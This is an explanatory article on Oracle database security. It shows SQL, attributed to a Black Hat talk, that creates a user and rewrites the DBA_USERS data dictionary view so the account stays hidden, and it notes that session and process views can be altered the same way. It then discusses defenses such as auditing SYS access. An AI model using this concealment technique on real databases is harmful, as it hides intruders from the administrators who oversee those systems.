Hackers in Yoyr Database

Steve Callan, stevencallan@hotmail.com

Tinker, Tailor, Soldier, Spy comes to mind when the subject of database security comes up. How would you know if there was a mole in your database? A mole, in this context, refers to a malicious user who has hacked Oracle objects to cover his tracks, and much like the mole in John le Carre’s novel, stays hidden from view while causing damage to the system (or other users). Is there a George Smiley we could call upon to root out the mole? A trusting user of Oracle, DBA or otherwise, probably shouldn’t be so, well, trusting. Without extensive checking or safeguards, you really don’t know how secure or locked down user access is.

How easy is it to spoof the normal checks of an account’s privileges? The answer is that it is a lot easier than you think. An excellent example of creating and then hiding a user was given in a presentation titled “Oracle Rootkits 2.0” at a Black Hat training conference by Alexander Kornbrust of Red Database Security Gmbh.
The essential part of making this happen is summarized in the code below.

SQL> conn sys/oracle as sysdbaConnected.SQL> create user hacker identified by hacker;User created.SQL> select username from dba_users where username = 'HACKER';USERNAME---------HACKERSQL> @cr_user_viewView created.SQL> select username from dba_users where username = 'HACKER';no rows selectedThe “magic” of this stems from the fact that dba_users is a view, and one of the underlying tables is sys.user$. The “cr_user_view” SQL script is nothing more than the script or source code for the dba_users view (see below) to include an extra condition: where name <> ‘HACKER’;.


CREATE OR REPLACE VIEW DBA_USERS(USERNAME, USER_ID, PASSWORD, ACCOUNT_STATUS, LOCK_DATE, EXPIRY_DATE, DEFAULT_TABLESPACE, TEMPORARY_TABLESPACE, CREATED, PROFILE,INITIAL_RSRC_CONSUMER_GROUP, EXTERNAL_NAME)ASselect u.name, u.user#, u.password, m.status, decode(u.astatus, 4, u.ltime, 5, u.ltime, 6, u.ltime, 8, u.ltime,9, u.ltime, 10, u.ltime, to_date(NULL)), decode(u.astatus, 1, u.exptime, 2, u.exptime, 5, u.exptime, 6, u.exptime, 9, u.exptime, 10, u.exptime, decode(u.ptime, '', to_date(NULL), decode(pr.limit#, 2147483647, to_date(NULL), decode(pr.limit#, 0, decode(dp.limit#, 2147483647, to_date(NULL), u.ptime + dp.limit#/86400), u.ptime + pr.limit#/86400)))), dts.name, tts.name, u.ctime, p.name, nvl(cgm.consumer_group, 'DEFAULT_CONSUMER_GROUP'), u.ext_username from sys.user$ u left outer join sys.resource_group_mapping$ cgm on (cgm.attribute = 'ORACLE_USER' and cgm.status = 'ACTIVE' and cgm.value = u.name), sys.ts$ dts, sys.ts$ tts, sys.profname$ p, sys.user_astatus_map m, sys.profile$ pr, sys.profile$ dp where u.datats# = dts.ts# and u.resource$ = p.profile# and u.tempts# = tts.ts# and u.astatus = m.status# and u.type# = 1 and u.resource$ = pr.profile# and dp.profile# = 0 and dp.type#=1 and dp.resource#=1 and pr.type# = 1 and pr.resource# = 1 and u.name <> 'HACKER'/Of course, the username of HACKER is in the user$ table, but who looks in the “real” tables when virtually the entire public facing data dictionary avoids the real tables?
SQL> select name from user$where name = 'HACKER';NAME------HACKER
To be thorough, our user named Hacker should also doctor up the ALL_USERS view. The screenshot from TOAD shows that adding the same “and u.name <> ‘HACKER’” clause is all that is needed.



It shouldn’t be any great surprise that if someone goes to the effort (or has the ability and wherewithal) to hide such a user account from commonly used views that the user will certainly have included a “grant dba to hacker” statement as well. Kronbrust also points out areas/views where a hacker would also want to cover his tracks with respect to processes and jobs. Four data dictionary objects that would be dummied up, so to speak, are v$session, gv_$session, flow_sessions, and v_$process.

How would (or could) you prevent a hacker or mole from entering in the first place? Part of the answer lies in limiting access to the SYS schema and auditing logons as SYS. This approach reminds me of police shows where Internal Affairs Division (IAD) investigators investigate the rank and file police force when allegations of wrongdoing are filed. Who investigates IAD investigators when they are suspected of wrongdoing? Other IAD investigators? So, short of some higher/final authority, there needs to be a level of trust among users with access to SYS (either via logon as SYS, or connecting as sysdba via an operating system account). “Trust, but verify” is probably a good rule to implement.

Another part of the answer concerns protecting or safeguarding live code and objects. How would you even begin to know or suspect if someone altered a data dictionary view? In all likelihood, you wouldn’t know until after something bad happened. It’s hard enough in a development environment to maintain source and version control over known objects and code, so it is not difficult to envision how the situation is made more cumbersome when a malicious element is involved.

There are many motives for a mole. In 2002, an employee of a racetrack betting software application made news when he “accessed a company computer after four races were complete and changed a … wager made through a former fraternity brother's telephone betting account. [The] wager had all the horses in the final two races. The plot would have netted a $3.1 million payoff to [the employee] and two colleagues had payment not been withheld because of the unusual nature of the bet.” Click here for the story and here for more about this type of problem.

Electronic voting is another area ripe for software/data manipulation. Most of the articles in this Risks Digest edition are applicable today, even though this edition is more than four years old. How much data would have to be altered to swing an election? Maybe a little or maybe a lot. The second case would probably be easier to detect, but what about a few thousand votes out of millions? 50,000 votes out of 30-plus million (think California) is only 0.167 per cent. Being satisfied with a 99% accuracy rate is not good enough. So when you factor out machine glitches, human error (misplacing records/data), faulty programming, and acts of nature, how do you protect against a trusted user/hacker/mole?